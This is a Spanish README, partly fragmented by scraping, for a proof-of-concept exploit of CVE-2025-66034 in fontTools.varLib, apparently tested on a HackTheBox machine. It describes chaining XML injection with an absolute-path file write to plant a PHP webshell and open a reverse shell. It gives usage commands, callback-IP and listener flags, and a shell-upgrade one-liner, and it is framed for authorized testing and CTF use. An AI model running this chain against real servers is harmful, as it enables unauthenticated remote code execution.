
CVE-2025-66034 - fontTools varLib Escritura Arbitraria de Archivos → RCE PoC exploit para una vulnerabilidad de Escritura Arbitraria de Archivos + Inyección XML en fontTools.varLib.
Exploit PoC para una vulnerabilidad de Escritura Arbitraria de Archivos + Inyección XML en
fontTools.varLibProbado en HackTheBox — VarIaType
fontTools.varLib procesa archivos XML .designspace para construir fuentes variables. Dos debilidades se combinan para lograr RCE sin autenticación:
| # | Primitiva | Detalle |
|---|---|---|
| 1 | Inyección XML mediante división CDATA | El contenido controlado por el atacante dentro de <labelname> se escribe textualmente en el cuerpo del archivo de fuente de salida, permitiendo la inyección de datos arbitrarios |
| 2 | Escritura Arbitraria de Archivos mediante omisión de os.path.join() | El atributo filename de <variable-font> acepta una ruta absoluta. Cuando se pasa a os.path.join(), descarta el directorio de salida previsto y escribe en cualquier ruta del sistema de archivos especificada por el atacante |
Encadenar ambas primitivas permite escribir una webshell PHP en una ruta accesible web, logrando una Ejecución Remota de Código sin autenticación.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
.ttf mínimos (source-light.ttf, source-regular.ttf) usando fontTools.FontBuilder como maestros requeridos para el designspace.designspace malicioso — Se construye un archivo XML manipulado con:
<labelname>filename de <variable-font>, omitiendo output_dir mediante os.path.join().designspace + las fuentes maestras se envían mediante POST al endpoint de procesamiento.php plantado, ejecutando el payload de reverse shell| Campo | |
|---|---|
| CVE | CVE-2025-66034 |
| Componente afectado | fontTools.varLib |
| Impacto | Escritura Arbitraria de Archivos sin Autenticación → Ejecución Remota de Código |
| Contexto | Aplicación web que expone un endpoint de procesamiento de fuentes |
Esta herramienta está destinada solo para pruebas de penetración autorizadas y uso en CTF. No la ejecute contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.
por 4nuxd
| Flag | Descripción |
|---|
--ip | IP del atacante para el callback de la reverse shell |
--port | Puerto del listener |
--upload | URL completa del endpoint de procesamiento de fuentes (POST) |
--webroot | Ruta absoluta del lado del servidor que se asigna a un directorio accesible web |
--shell | URL base bajo la cual la webshell será accesible |
--no-listen | Omitir auto-listener — imprimir comandos manuales en su lugar |
--pwncat | Usar pwncat-cs en lugar de nc (preferido si está disponible) |
python3 -c 'import pty; pty.spawn("/bin/bash")' y establece TERM + stty para una shell completamente interactiva